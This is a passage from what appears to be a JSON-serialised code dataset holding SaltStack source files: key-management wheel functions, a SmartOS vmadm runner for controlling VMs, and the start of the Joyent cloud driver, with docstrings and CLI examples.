opts = salt.config.master_config('/etc/salt/master')\n wheel = salt.wheel.WheelClient(opts)\n\nNote that importing and using the ``WheelClient`` must be performed on the same\nmachine as the Salt Master and as the same user that runs the Salt Master,\nunless :conf_master:`external_auth` is configured and the user is authorized\nto execute wheel functions.\n\nThe function documentation starts with the ``wheel`` reference from the code\nsample above and use the :py:class:`WheelClient` functions to show how they can\nbe called from a Python interpreter.\n\nThe wheel key functions can also be called via a ``salt`` command at the CLI\nusing the :ref:`saltutil execution module <salt.modules.saltutil>`.\n'''\n\n# Import python libs\nfrom __future__ import absolute_import\nimport os\nimport hashlib\nimport logging\n\n# Import salt libs\nfrom salt.key import get_key\nimport salt.crypt\nimport salt.utils\nfrom salt.utils.sanitizers import clean\n\n\n__func_alias__ = {\n 'list_': 'list',\n 'key_str': 'print',\n}\n\nlog = logging.getLogger(__name__)\n\n\ndef list_(match):\n '''\n List all the keys under a named status. Returns a dictionary.\n\n match\n The type of keys to list. The ``pre``, ``un``, and ``unaccepted``\n options will list unaccepted/unsigned keys. ``acc`` or ``accepted`` will\n list accepted/signed keys. ``rej`` or ``rejected`` will list rejected keys.\n Finally, ``all`` will list all keys.\n\n .. code-block:: python\n\n >>> wheel.cmd('key.list', ['accepted'])\n {'minions': ['minion1', 'minion2', 'minion3']}\n '''\n skey = get_key(__opts__)\n return skey.list_status(match)\n\n\ndef list_all():\n '''\n List all the keys. Returns a dictionary containing lists of the minions in\n each salt-key category, including ``minions``, ``minions_rejected``,\n ``minions_denied``, etc. Returns a dictionary.\n\n .. code-block:: python\n\n >>> wheel.cmd('key.list_all')\n {'local': ['master.pem', 'master.pub'], 'minions_rejected': [],\n 'minions_denied': [], 'minions_pre': [],\n 'minions': ['minion1', 'minion2', 'minion3']}\n '''\n skey = get_key(__opts__)\n return skey.all_keys()\n\n\ndef name_match(match):\n '''\n List all the keys based on a glob match\n '''\n skey = get_key(__opts__)\n return skey.name_match(match)\n\n\ndef accept(match, include_rejected=False, include_denied=False):\n '''\n Accept keys based on a glob match. Returns a dictionary.\n\n match\n The glob match of keys to accept.\n\n include_rejected\n To include rejected keys in the match along with pending keys, set this\n to ``True``. Defaults to ``False``.\n\n include_denied\n To include denied keys in the match along with pending keys, set this\n to ``True``. Defaults to ``False``.\n\n .. code-block:: python\n\n >>> wheel.cmd('key.accept', ['minion1'])\n {'minions': ['minion1']}\n '''\n skey = get_key(__opts__)\n return skey.accept(match, include_rejected=include_rejected, include_denied=include_denied)\n\n\ndef accept_dict(match, include_rejected=False, include_denied=False):\n '''\n Accept keys based on a dict of keys. Returns a dictionary.\n\n match\n The dictionary of keys to accept.\n\n include_rejected\n To include rejected keys in the match along with pending keys, set this\n to ``True``. Defaults to ``False``.\n\n .. versionadded:: 2016.3.4\n\n include_denied\n To include denied keys in the match along with pending keys, set this\n to ``True``. Defaults to ``False``.\n\n .. versionadded:: 2016.3.4\n\n Example to move a list of keys from the ``minions_pre`` (pending) directory\n to the ``minions`` (accepted) directory:\n\n .. code-block:: python\n\n >>> wheel.cmd('accept_dict',\n {\n 'minions_pre': [\n 'jerry',\n 'stuart',\n 'bob',\n ],\n })\n {'minions': ['jerry', 'stuart', 'bob']}\n '''\n skey = get_key(__opts__)\n return skey.accept(match_dict=match,\n include_rejected=include_rejected,\n include_denied=include_denied)\n\n\ndef delete(match):\n '''\n Delete keys based on a glob match. Returns a dictionary.\n\n match\n The glob match of keys to delete.\n\n .. code-block:: python\n\n >>> wheel.cmd_async({'fun': 'key.delete', 'match': 'minion1'})\n {'jid': '20160826201244808521', 'tag': 'salt/wheel/20160826201244808521'}\n '''\n skey = get_key(__opts__)\n return skey.delete_key(match)\n\n\ndef delete_dict(match):\n '''\n Delete keys based on a dict of keys. Returns a dictionary.\n\n match\n The dictionary of keys to delete.\n\n .. code-block:: python\n\n >>> wheel.cmd_async({'fun': 'key.delete_dict',\n 'match': {\n 'minions': [\n 'jerry',\n 'stuart',\n 'bob',\n ],\n })\n {'jid': '20160826201244808521', 'tag': 'salt/wheel/20160826201244808521'}\n '''\n skey = get_key(__opts__)\n return skey.delete_key(match_dict=match)\n\n\ndef reject(match, include_accepted=False, include_denied=False):\n '''\n Reject keys based on a glob match. Returns a dictionary.\n\n match\n The glob match of keys to reject.\n\n include_accepted\n To include accepted keys in the match along with pending keys, set this\n to ``True``. Defaults to ``False``.\n\n include_denied\n To include denied keys in the match along with pending keys, set this\n to ``True``. Defaults to ``False``.\n\n .. code-block:: python\n\n >>> wheel.cmd_async({'fun': 'key.reject', 'match': 'minion1'})\n {'jid': '20160826201244808521', 'tag': 'salt/wheel/20160826201244808521'}\n '''\n skey = get_key(__opts__)\n return skey.reject(match, include_accepted=include_accepted, include_denied=include_denied)\n\n\ndef reject_dict(match, include_accepted=False, include_denied=False):\n '''\n Reject keys based on a dict of keys. Returns a dictionary.\n\n match\n The dictionary of keys to reject.\n\n include_accepted\n To include accepted keys in the match along with pending keys, set this\n to ``True``. Defaults to ``False``.\n\n .. versionadded:: 2016.3.4\n\n include_denied\n To include denied keys in the match along with pending keys, set this\n to ``True``. Defaults to ``False``.\n\n .. versionadded:: 2016.3.4\n\n .. code-block:: python\n\n >>> wheel.cmd_async({'fun': 'key.reject_dict',\n 'match': {\n 'minions': [\n 'jerry',\n 'stuart',\n 'bob',\n ],\n })\n {'jid': '20160826201244808521', 'tag': 'salt/wheel/20160826201244808521'}\n '''\n skey = get_key(__opts__)\n return skey.reject(match_dict=match,\n include_accepted=include_accepted,\n include_denied=include_denied)\n\n\ndef key_str(match):\n '''\n Return information about the key. Returns a dictionary.\n\n match\n The key to return information about.\n\n .. code-block:: python\n\n >>> wheel.cmd('key.key_str', ['minion1'])\n {'minions': {'minion1': '-----BEGIN PUBLIC KEY-----\\<KEY>\n ...\n TWugEQpPt\\niQIDAQAB\\n-----END PUBLIC KEY-----'}}\n '''\n skey = get_key(__opts__)\n return skey.key_str(match)\n\n\ndef finger(match):\n '''\n Return the matching key fingerprints. Returns a dictionary.\n\n match\n The key for with to retrieve the fingerprint.\n\n .. code-block:: python\n\n >>> wheel.cmd('key.finger', ['minion1'])\n {'minions': {'minion1': '5d:f6:79:43:5e:d4:42:3f:57:b8:45:a8:7e:a4:6e:ca'}}\n\n '''\n skey = get_key(__opts__)\n return skey.finger(match)\n\n\ndef gen(id_=None, keysize=2048):\n '''\n Generate a key pair. No keys are stored on the master. A key pair is\n returned as a dict containing pub and priv keys. Returns a dictionary\n containing the the ``pub`` and ``priv`` keys with their generated values.\n\n id_\n Set a name to generate a key pair for use with salt. If not specified,\n a random name will be specified.\n\n keysize\n The size of the key pair to generate. The size must be ``2048``, which\n is the default, or greater. If set to a value less than ``2048``, the\n key size will be rounded up to ``2048``.\n\n .. code-block:: python\n\n >>> wheel.cmd('key.gen')\n {'pub': '-----<KEY>\n ...\n B<KEY>W+ueTWugEQpPt\\niQIDAQAB\\n\n -----END PUBLIC KEY-----',\n 'priv': '-----BEGIN RSA PRIVATE KEY-----\\nMIIEpAIBAAKCAQEA42Kf+w9XeZWgguzv\n ...\n QH3/W74X1+WTBlx4R2KGLYBiH+bCCFEQ/Zvcu4Xp4bIOPtRKozEQ==\\n\n -----END RSA PRIVATE KEY-----'}\n '''\n if id_ is None:\n id_ = hashlib.sha512(os.urandom(32)).hexdigest()\n else:\n id_ = clean.filename(id_)\n ret = {'priv': '',\n 'pub': ''}\n priv = salt.crypt.gen_keys(__opts__['pki_dir'], id_, keysize)\n pub = '{0}.pub'.format(priv[:priv.rindex('.')])\n with salt.utils.fopen(priv) as fp_:\n ret['priv'] = fp_.read()\n with salt.utils.fopen(pub) as fp_:\n ret['pub'] = fp_.read()\n os.remove(priv)\n os.remove(pub)\n return ret\n\n\ndef gen_accept(id_, keysize=2048, force=False):\n '''\n Generate a key pair then accept the public key. This function returns the\n key pair in a dict, only the public key is preserved on the master. Returns\n a dictionary.\n\n id_\n The name of the minion for which to generate a key pair.\n\n keysize\n The size of the key pair to generate. The size must be ``2048``, which\n is the default, or greater. If set to a value less than ``2048``, the\n key size will be rounded up to ``2048``.\n\n force\n If a public key has already been accepted for the given minion on the\n master, then the gen_accept function will return an empty dictionary\n and not create a new key. This is the default behavior. If ``force``\n is set to ``True``, then the minion's previously accepted key will be\n overwritten.\n\n .. code-block:: python\n\n >>> wheel.cmd('key.gen_accept', ['foo'])\n {'pub': '-----<KEY>\n ...\n BBPfamX9gGPQTpN9e8HwcZjXQnmg8OrcUl10WHw09SDWLOlnW+ueTWugEQpPt\\niQIDAQAB\\n\n -----END PUBLIC KEY-----',\n 'priv': '-----BEGIN RSA PRIVATE KEY-----\\<KEY>\n ...\n QH3/W74X1+WTBlx4R2KGLYBiH+bCCFEQ/Zvcu4Xp4bIOPtRKozEQ==\\n\n -----END RSA PRIVATE KEY-----'}\n\n We can now see that the ``foo`` minion's key has been accepted by the master:\n\n .. code-block:: python\n\n >>> wheel.cmd('key.list', ['accepted'])\n {'minions': ['foo', 'minion1', 'minion2', 'minion3']}\n '''\n id_ = clean.id(id_)\n ret = gen(id_, keysize)\n acc_path = os.path.join(__opts__['pki_dir'], 'minions', id_)\n if os.path.isfile(acc_path) and not force:\n return {}\n with salt.utils.fopen(acc_path, 'w+') as fp_:\n fp_.write(ret['pub'])\n return ret\n\n\ndef gen_keys(keydir=None, keyname=None, keysize=None, user=None):\n '''\n Generate minion RSA public keypair\n '''\n skey = get_key(__opts__)\n return skey.gen_keys(keydir, keyname, keysize, user)\n\n\ndef gen_signature(priv, pub, signature_path, auto_create=False, keysize=None):\n '''\n Generate master public-key-signature\n '''\n skey = get_key(__opts__)\n return skey.gen_keys_signature(priv, pub, signature_path, auto_create, keysize)\n", "id": "391901", "language": "Python", "matching_score": 1.4859349727630615, "max_stars_count": 0, "path": "tests/build/virtualenv/lib/python2.7/site-packages/salt/wheel/key.py" }, { "content": "# -*- coding: utf-8 -*-\n'''\nRunner for SmartOS minions control vmadm\n'''\nfrom __future__ import absolute_import\nfrom __future__ import print_function\n# Import python libs\nimport salt.client\nfrom salt.exceptions import SaltClientError\nfrom salt.utils.odict import OrderedDict\n\n# Function aliases\n__func_alias__ = {\n 'list_vms': 'list'\n}\n\n# Define the module's virtual name\n__virtualname__ = 'vmadm'\n\n\ndef __virtual__():\n '''\n Provides vmadm runner\n '''\n # NOTE: always load vmadm runner\n # we could check using test.ping + a grain\n # match, but doing this on master startup is\n # not acceptable\n return __virtualname__\n\n\ndef _action(action='get', search=None, one=True, force=False):\n '''\n Multi action helper for start, stop, get, ...\n '''\n vms = {}\n matched_vms = []\n client = salt.client.get_local_client(__opts__['conf_file'])\n\n ## lookup vms\n try:\n vmadm_args = {}\n vmadm_args['order'] = 'uuid,alias,hostname,state'\n if '=' in search:\n vmadm_args['search'] = search\n for cn in client.cmd_iter('G@virtual:physical and G@os:smartos',\n 'vmadm.list', kwarg=vmadm_args,\n expr_form='compound'):\n if not cn:\n continue\n node = next(cn.iterkeys())\n if not isinstance(cn[node], dict) or \\\n 'ret' not in cn[node] or \\\n not isinstance(cn[node]['ret'], dict):\n continue\n for vm in cn[node]['ret'].keys():\n vmcfg = cn[node]['ret'][vm]\n vmcfg['node'] = node\n vms[vm] = vmcfg\n except SaltClientError as client_error:\n pass\n\n ## check if we have vms\n if len(vms) == 0:\n return {'Error': 'No vms found.'}\n\n ## simple search\n if '=' not in search:\n loop_pass = 0\n while loop_pass < 3:\n ## each pass will try a different field\n if loop_pass == 0:\n field = 'uuid'\n elif loop_pass == 1:\n field = 'hostname'\n else:\n field = 'alias'\n\n ## loop vms and try to match\n for vm in vms:\n if field == 'uuid' and vm == search:\n matched_vms.append(vm)\n break # exit for on uuid match (max = 1)\n elif field in vms[vm] and vms[vm][field] == search:\n matched_vms.append(vm)\n\n ## exit on match(es) or try again\n if len(matched_vms) > 0:\n break\n else:\n loop_pass += 1\n else:\n for vm in vms:\n matched_vms.append(vm)\n\n ## check if we have vms\n if len(matched_vms) == 0:\n return {'Error': 'No vms matched.'}\n\n ## multiple allowed?\n if one and len(matched_vms) > 1:\n return {\n 'Error': 'Matched {0} vms, only one allowed!'.format(len(matched_vms)),\n 'Matches': matched_vms\n }\n\n ## perform action\n ret = {}\n if action in ['start', 'stop', 'reboot', 'get']:\n for vm in matched_vms:\n vmadm_args = {\n 'key': 'uuid',\n 'vm': vm\n }\n try:\n for vmadm_res in client.cmd_iter(vms[vm]['node'], 'vmadm.{0}'.format(action), kwarg=vmadm_args):\n if not vmadm_res:\n continue\n if vms[vm]['node'] in vmadm_res:\n ret[vm] = vmadm_res[vms[vm]['node']]['ret']\n except SaltClientError as client_error:\n ret[vm] = False\n elif action in ['is_running']:\n ret = True\n for vm in matched_vms:\n if vms[vm]['state'] != 'running':\n ret = False\n break\n return ret\n\n\ndef nodes(verbose=False):\n '''\n List all compute nodes\n\n verbose : boolean\n print additional information about the node\n e.g. platform version, hvm capable, ...\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-run vmadm.nodes\n salt-run vmadm.nodes verbose=True\n '''\n ret = {} if verbose else []\n client = salt.client.get_local_client(__opts__['conf_file'])\n\n ## get list of nodes\n try:\n for cn in client.cmd_iter('G@virtual:physical and G@os:smartos',\n 'grains.items', expr_form='compound'):\n if not cn:\n continue\n node = next(cn.iterkeys())\n if not isinstance(cn[node], dict) or \\\n 'ret' not in cn[node] or \\\n not isinstance(cn[node]['ret'], dict):\n continue\n if verbose:\n ret[node] = {}\n ret[node]['version'] = {}\n ret[node]['version']['platform'] = cn[node]['ret']['osrelease']\n if 'computenode_sdc_version' in cn[node]['ret']:\n ret[node]['version']['sdc'] = cn[node]['ret']['computenode_sdc_version']\n ret[node]['vms'] = {}\n if 'computenode_vm_capable' in cn[node]['ret'] and \\\n cn[node]['ret']['computenode_vm_capable'] and \\\n 'computenode_vm_hw_virt' in cn[node]['ret']:\n ret[node]['vms']['hw_cap'] = cn[node]['ret']['computenode_vm_hw_virt']\n else:\n ret[node]['vms']['hw_cap'] = False\n if 'computenode_vms_running' in cn[node]['ret']:\n ret[node]['vms']['running'] = cn[node]['ret']['computenode_vms_running']\n else:\n ret.append(node)\n except SaltClientError as client_error:\n return \"{0}\".format(client_error)\n\n if not verbose:\n ret.sort()\n return ret\n\n\ndef list_vms(search=None, verbose=False):\n '''\n List all vms\n\n search : string\n filter vms, see the execution module\n verbose : boolean\n print additional information about the vm\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-run vmadm.list\n salt-run vmadm.list search='type=KVM'\n salt-run vmadm.list verbose=True\n '''\n ret = OrderedDict() if verbose else []\n client = salt.client.get_local_client(__opts__['conf_file'])\n try:\n vmadm_args = {}\n vmadm_args['order'] = 'uuid,alias,hostname,state,type,cpu_cap,vcpus,ram'\n if search:\n vmadm_args['search'] = search\n for cn in client.cmd_iter('G@virtual:physical and G@os:smartos',\n 'vmadm.list', kwarg=vmadm_args,\n expr_form='compound'):\n if not cn:\n continue\n node = next(cn.iterkeys())\n if not isinstance(cn[node], dict) or \\\n 'ret' not in cn[node] or \\\n not isinstance(cn[node]['ret'], dict):\n continue\n for vm in cn[node]['ret'].keys():\n vmcfg = cn[node]['ret'][vm]\n if verbose:\n ret[vm] = OrderedDict()\n ret[vm]['hostname'] = vmcfg['hostname']\n ret[vm]['alias'] = vmcfg['alias']\n ret[vm]['computenode'] = node\n ret[vm]['state'] = vmcfg['state']\n ret[vm]['resources'] = OrderedDict()\n ret[vm]['resources']['memory'] = vmcfg['ram']\n if vmcfg['type'] == 'KVM':\n ret[vm]['resources']['cpu'] = \"{0:.2f}\".format(int(vmcfg['vcpus']))\n else:\n if vmcfg['cpu_cap'] != '':\n ret[vm]['resources']['cpu'] = \"{0:.2f}\".format(int(vmcfg['cpu_cap'])/100)\n else:\n ret.append(vm)\n except SaltClientError as client_error:\n return \"{0}\".format(client_error)\n\n if not verbose:\n ret = sorted(ret)\n\n return ret\n\n\ndef start(search, one=True):\n '''\n Start one or more vms\n\n search : string\n filter vms, see the execution module.\n one : boolean\n start only one vm\n\n .. note::\n If the search parameter does not contain an equal (=) symbol it will be\n assumed it will be tried as uuid, hostname, and alias.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-run vmadm.start 91244bba-1146-e4ec-c07e-e825e0223aa9\n salt-run vmadm.start search='alias=jiska'\n salt-run vmadm.start search='type=KVM' one=False\n '''\n return _action('start', search, one)\n\n\ndef stop(search, one=True):\n '''\n Stop one or more vms\n\n search : string\n filter vms, see the execution module.\n one : boolean\n stop only one vm\n\n .. note::\n If the search parameter does not contain an equal (=) symbol it will be\n assumed it will be tried as uuid, hostname, and alias.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-run vmadm.stop 91244bba-1146-e4ec-c07e-e825e0223aa9\n salt-run vmadm.stop search='alias=jody'\n salt-run vmadm.stop search='type=KVM' one=False\n '''\n return _action('stop', search, one)\n\n\ndef reboot(search, one=True, force=False):\n '''\n Reboot one or more vms\n\n search : string\n filter vms, see the execution module.\n one : boolean\n reboot only one vm\n force : boolean\n force reboot, faster but no graceful shutdown\n\n .. note::\n If the search parameter does not contain an equal (=) symbol it will be\n assumed it will be tried as uuid, hostname, and alias.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-run vmadm.reboot 91244bba-1146-e4ec-c07e-e825e0223aa9\n salt-run vmadm.reboot search='alias=marije'\n salt-run vmadm.reboot search='type=KVM' one=False\n '''\n return _action('reboot', search, one, force)\n\n\ndef get(search, one=True):\n '''\n Return information for vms\n\n search : string\n filter vms, see the execution module.\n one : boolean\n return only one vm\n\n .. note::\n If the search parameter does not contain an equal (=) symbol it will be\n assumed it will be tried as uuid, hostname, and alias.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-run vmadm.get 91244bba-1146-e4ec-c07e-e825e0223aa9\n salt-run vmadm.get search='alias=saskia'\n '''\n return _action('get', search, one)\n\n\ndef is_running(search):\n '''\n Return true if vm is running\n\n search : string\n filter vms, see the execution module.\n\n .. note::\n If the search parameter does not contain an equal (=) symbol it will be\n assumed it will be tried as uuid, hostname, and alias.\n\n .. note::\n If multiple vms are matched, the result will be true of ALL vms are running\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-run vmadm.is_running 91244bba-1146-e4ec-c07e-e825e0223aa9\n salt-run vmadm.is_running search='alias=julia'\n '''\n return _action('is_running', search, False)\n\n\n# vim: tabstop=4 expandtab shiftwidth=4 softtabstop=4\n", "id": "3107449", "language": "Python", "matching_score": 1.7683767080307007, "max_stars_count": 2, "path": "tests/build/virtualenv/lib/python2.7/site-packages/salt/runners/smartos_vmadm.py" }, { "content": "# -*- coding: utf-8 -*-\n'''\nJoyent Cloud Module\n===================\n\nThe Joyent Cloud module is used to interact with the Joyent cloud system.\n\nSet up the cloud configuration at ``/etc/salt/cloud.providers`` or\n``/etc/salt/cloud.providers.d/joyent.conf``:\n\n.. code-block:: yaml\n\n my-joyent-config:\n driver: joyent\n # The Joyent login user\n user: fred\n # The Joyent user's password\n password: <PASSWORD>\n # The location of the ssh private key that can log into the new VM\n private_key: /root/mykey.pem\n # The name of the private key\n keyname: mykey\n\nWhen creating your profiles for the joyent cloud, add the location attribute to\nthe profile, this will automatically get picked up when performing tasks\nassociated with that vm. An example profile might look like:\n\n.. code-block:: yaml\n\n joyent_512:\n provider: my-joyent-config\n size: g4-highcpu-512M\n image: centos-6\n location: us-east-1\n\nThis driver can also be used with the Joyent SmartDataCenter project. More\ndetails can be found at:\n\n.. _`SmartDataCenter`: https://github.com/joyent/sdc\n\nUsing SDC requires that an api_host_suffix is set. The default value for this is\n`.api.joyentcloud.com`. All characters, including the leading `.`, should be\nincluded:\n\n.. code-block:: yaml\n\n api_host_suffix: .api.myhostname.com\n\n:depends: PyCrypto\n'''\n# pylint: disable=invalid-name,function-redefined\n\n# Import python libs\nfrom __future__ import absolute_import\nimport os\nimport json\nimport logging\nimport base64\nimport pprint\nimport inspect\nimport yaml\nimport datetime\nfrom Crypto.Hash import SHA256\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Signature import PKCS1_v1_5\n\n# Import salt libs\nimport salt.ext.six as six\nfrom salt.ext.six.moves import http_client # pylint: disable=import-error,no-name-in-module\nimport salt.utils.http\nimport salt.utils.cloud\nimport salt.config as config\nfrom salt.utils.cloud import is_public_ip\nfrom salt.cloud.libcloudfuncs import node_state\nfrom salt.exceptions import (\n SaltCloudSystemExit,\n SaltCloudExecutionFailure,\n SaltCloudExecutionTimeout,\n SaltCloudNotFound,\n)\n\n# Get logging started\nlog = logging.getLogger(__name__)\n\n__virtualname__ = 'joyent'\n\nJOYENT_API_HOST_SUFFIX = '.api.joyentcloud.com'\nJOYENT_API_VERSION = '~7.2'\n\nJOYENT_LOCATIONS = {\n 'us-east-1': 'North Virginia, USA',\n 'us-west-1': 'Bay Area, California, USA',\n 'us-sw-1': 'Las Vegas, Nevada, USA',\n 'eu-ams-1': 'Amsterdam, Netherlands'\n}\nDEFAULT_LOCATION = 'us-east-1'\n\n# joyent no longer reports on all data centers, so setting this value to true\n# causes the list_nodes function to get information on machines from all\n# data centers\nPOLL_ALL_LOCATIONS = True\n\nVALID_RESPONSE_CODES = [\n http_client.OK,\n http_client.ACCEPTED,\n http_client.CREATED,\n http_client.NO_CONTENT\n]\n\n\n# Only load in this module if the Joyent configurations are in place\ndef __virtual__():\n '''\n Check for Joyent configs\n '''\n if get_configured_provider() is False:\n return False\n\n return __virtualname__\n\n\ndef get_configured_provider():\n '''\n Return the first configured instance.\n '''\n return config.is_provider_configured(\n __opts__,\n __active_provider_name__ or __virtualname__,\n ('user', 'password')\n )\n\n\ndef get_image(vm_):\n '''\n Return the image object to use\n '''\n images = avail_images()\n\n vm_image = config.get_cloud_config_value('image', vm_, __opts__)\n\n if vm_image and str(vm_image) in images:\n images[vm_image]['name'] = images[vm_image]['id']\n return images[vm_image]\n\n raise SaltCloudNotFound(\n 'The specified image, \\'{0}\\', could not be found.'.format(vm_image)\n )\n\n\ndef get_size(vm_):\n '''\n Return the VM's size object\n '''\n sizes = avail_sizes()\n vm_size = config.get_cloud_config_value('size', vm_, __opts__)\n if not vm_size:\n raise SaltCloudNotFound('No size specified for this VM.')\n\n if vm_size and str(vm_size) in sizes:\n return sizes[vm_size]\n\n raise SaltCloudNotFound(\n 'The specified size, \\'{0}\\', could not be found.'.format(vm_size)\n )\n\n\ndef query_instance(vm_=None, call=None):\n '''\n Query an instance upon creation from the Joyent API\n '''\n if isinstance(vm_, six.string_types) and call == 'action':\n vm_ = {'name': vm_, 'provider': 'joyent'}\n\n if call == 'function':\n # Technically this function may be called other ways too, but it\n # definitely cannot be called with --function.\n raise SaltCloudSystemExit(\n 'The query_instance action must be called with -a or --action.'\n )\n\n __utils__['cloud.fire_event'](\n 'event',\n 'querying instance',\n 'salt/cloud/{0}/querying'.format(vm_['name']),\n sock_dir=__opts__['sock_dir'],\n transport=__opts__['transport']\n )\n\n def _query_ip_address():\n data = show_instance(vm_['name'], call='action')\n if not data:\n log.error(\n 'There was an error while querying Joyent. Empty response'\n )\n # Trigger a failure in the wait for IP function\n return False\n\n if isinstance(data, dict) and 'error' in data:\n log.warning(\n 'There was an error in the query {0}'.format(data.get('error'))\n )\n # Trigger a failure in the wait for IP function\n return False\n\n log.debug('Returned query data: {0}'.format(data))\n\n if 'primaryIp' in data[1]:\n return data[1]['primaryIp']\n return None\n\n try:\n data = salt.utils.cloud.wait_for_ip(\n _query_ip_address,\n timeout=config.get_cloud_config_value(\n 'wait_for_ip_timeout', vm_, __opts__, default=10 * 60),\n interval=config.get_cloud_config_value(\n 'wait_for_ip_interval', vm_, __opts__, default=10),\n interval_multiplier=config.get_cloud_config_value(\n 'wait_for_ip_interval_multiplier', vm_, __opts__, default=1),\n )\n except (SaltCloudExecutionTimeout, SaltCloudExecutionFailure) as exc:\n try:\n # It might be already up, let's destroy it!\n pass\n #destroy(vm_['name'])\n except SaltCloudSystemExit:\n pass\n finally:\n raise SaltCloudSystemExit(str(exc))\n\n return data\n\n\ndef create(vm_):\n '''\n Create a single VM from a data dict\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud -p profile_name vm_name\n '''\n try:\n # Check for required profile parameters before sending any API calls.\n if vm_['profile'] and config.is_profile_configured(__opts__,\n __active_provider_name__ or 'joyent',\n vm_['profile'],\n vm_=vm_) is False:\n return False\n except AttributeError:\n pass\n\n # Since using \"provider: <provider-engine>\" is deprecated, alias provider\n # to use driver: \"driver: <provider-engine>\"\n if 'provider' in vm_:\n vm_['driver'] = vm_.pop('provider')\n\n key_filename = config.get_cloud_config_value(\n 'private_key', vm_, __opts__, search_global=False, default=None\n )\n\n __utils__['cloud.fire_event'](\n 'event',\n 'starting create',\n 'salt/cloud/{0}/creating'.format(vm_['name']),\n args={\n 'name': vm_['name'],\n 'profile': vm_['profile'],\n 'provider': vm_['driver'],\n },\n sock_dir=__opts__['sock_dir'],\n transport=__opts__['transport']\n )\n\n log.info(\n 'Creating Cloud VM {0} in {1}'.format(\n vm_['name'],\n vm_.get('location', DEFAULT_LOCATION)\n )\n )\n\n # added . for fqdn hostnames\n salt.utils.cloud.check_name(vm_['name'], 'a-zA-Z0-9-.')\n kwargs = {\n 'name': vm_['name'],\n 'image': get_image(vm_),\n 'size': get_size(vm_),\n 'location': vm_.get('location', DEFAULT_LOCATION)\n }\n # Let's not assign a default here; only assign a network value if\n # one is explicitly configured\n if 'networks' in vm_:\n kwargs['networks'] = vm_.get('networks')\n\n __utils__['cloud.fire_event'](\n 'event',\n 'requesting instance',\n 'salt/cloud/{0}/requesting'.format(vm_['name']),\n args={'kwargs': kwargs},\n sock_dir=__opts__['sock_dir'],\n transport=__opts__['transport']\n )\n\n try:\n data = create_node(**kwargs)\n except Exception as exc:\n log.error(\n 'Error creating {0} on JOYENT\\n\\n'\n 'The following exception was thrown when trying to '\n 'run the initial deployment: \\n{1}'.format(\n vm_['name'], str(exc)\n ),\n # Show the traceback if the debug logging level is enabled\n exc_info_on_loglevel=logging.DEBUG\n )\n return False\n\n query_instance(vm_)\n data = show_instance(vm_['name'], call='action')\n\n vm_['key_filename'] = key_filename\n vm_['ssh_host'] = data[1]['primaryIp']\n\n __utils__['cloud.bootstrap'](vm_, __opts__)\n\n __utils__['cloud.fire_event'](\n 'event',\n 'created instance',\n 'salt/cloud/{0}/created'.format(vm_['name']),\n args={\n 'name': vm_['name'],\n 'profile': vm_['profile'],\n 'provider': vm_['driver'],\n },\n sock_dir=__opts__['sock_dir'],\n transport=__opts__['transport']\n )\n\n return data[1]\n\n\ndef create_node(**kwargs):\n '''\n convenience function to make the rest api call for node creation.\n '''\n name = kwargs['name']\n size = kwargs['size']\n image = kwargs['image']\n location = kwargs['location']\n networks = kwargs.get('networks')\n\n create_data = {\n 'name': name,\n 'package': size['name'],\n 'image': image['name'],\n }\n if networks is not None:\n create_data['networks'] = networks\n data = json.dumps(create_data)\n\n try:\n ret = query(command='/my/machines', data=data, method='POST',\n location=location)\n if ret[0] in VALID_RESPONSE_CODES:\n return ret[1]\n except Exception as exc:\n log.error(\n 'Failed to create node {0}: {1}'.format(name, exc)\n )\n\n return {}\n\n\ndef destroy(name, call=None):\n '''\n destroy a machine by name\n\n :param name: name given to the machine\n :param call: call value in this case is 'action'\n :return: array of booleans , true if successfully stopped and true if\n successfully removed\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud -d vm_name\n\n '''\n if call == 'function':\n raise SaltCloudSystemExit(\n 'The destroy action must be called with -d, --destroy, '\n '-a or --action.'\n )\n\n __utils__['cloud.fire_event'](\n 'event',\n 'destroying instance',\n 'salt/cloud/{0}/destroying'.format(name),\n args={'name': name},\n sock_dir=__opts__['sock_dir'],\n transport=__opts__['transport']\n )\n\n node = get_node(name)\n ret = query(command='my/machines/{0}'.format(node['id']),\n location=node['location'], method='DELETE')\n\n __utils__['cloud.fire_event'](\n 'event',\n 'destroyed instance',\n 'salt/cloud/{0}/destroyed'.format(name),\n args={'name': name},\n sock_dir=__opts__['sock_dir'],\n transport=__opts__['transport']\n )\n\n if __opts__.get('update_cachedir', False) is True:\n __utils__['cloud.delete_minion_cachedir'](name, __active_provider_name__.split(':')[0], __opts__)\n\n return ret[0] in VALID_RESPONSE_CODES\n\n\ndef reboot(name, call=None):\n '''\n reboot a machine by name\n :param name: name given to the machine\n :param call: call value in this case is 'action'\n :return: true if successful\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud -a reboot vm_name\n '''\n node = get_node(name)\n ret = take_action(name=name, call=call, method='POST',\n command='/my/machines/{0}'.format(node['id']),\n location=node['location'], data={'action': 'reboot'})\n return ret[0] in VALID_RESPONSE_CODES\n\n\ndef stop(name, call=None):\n '''\n stop a machine by name\n :param name: name given to the machine\n :param call: call value in this case is 'action'\n :return: true if successful\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud -a stop vm_name\n '''\n node = get_node(name)\n ret = take_action(name=name, call=call, method='POST',\n command='/my/machines/{0}'.format(node['id']),\n location=node['location'], data={'action': 'stop'})\n return ret[0] in VALID_RESPONSE_CODES\n\n\ndef start(name, call=None):\n '''\n start a machine by name\n :param name: name given to the machine\n :param call: call value in this case is 'action'\n :return: true if successful\n\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud -a start vm_name\n '''\n node = get_node(name)\n ret = take_action(name=name, call=call, method='POST',\n command='/my/machines/{0}'.format(node['id']),\n location=node['location'], data={'action': 'start'})\n return ret[0] in VALID_RESPONSE_CODES\n\n\ndef take_action(name=None, call=None, command=None, data=None, method='GET',\n location=DEFAULT_LOCATION):\n\n '''\n take action call used by start,stop, reboot\n :param name: name given to the machine\n :param call: call value in this case is 'action'\n :command: api path\n :data: any data to be passed to the api, must be in json format\n :method: 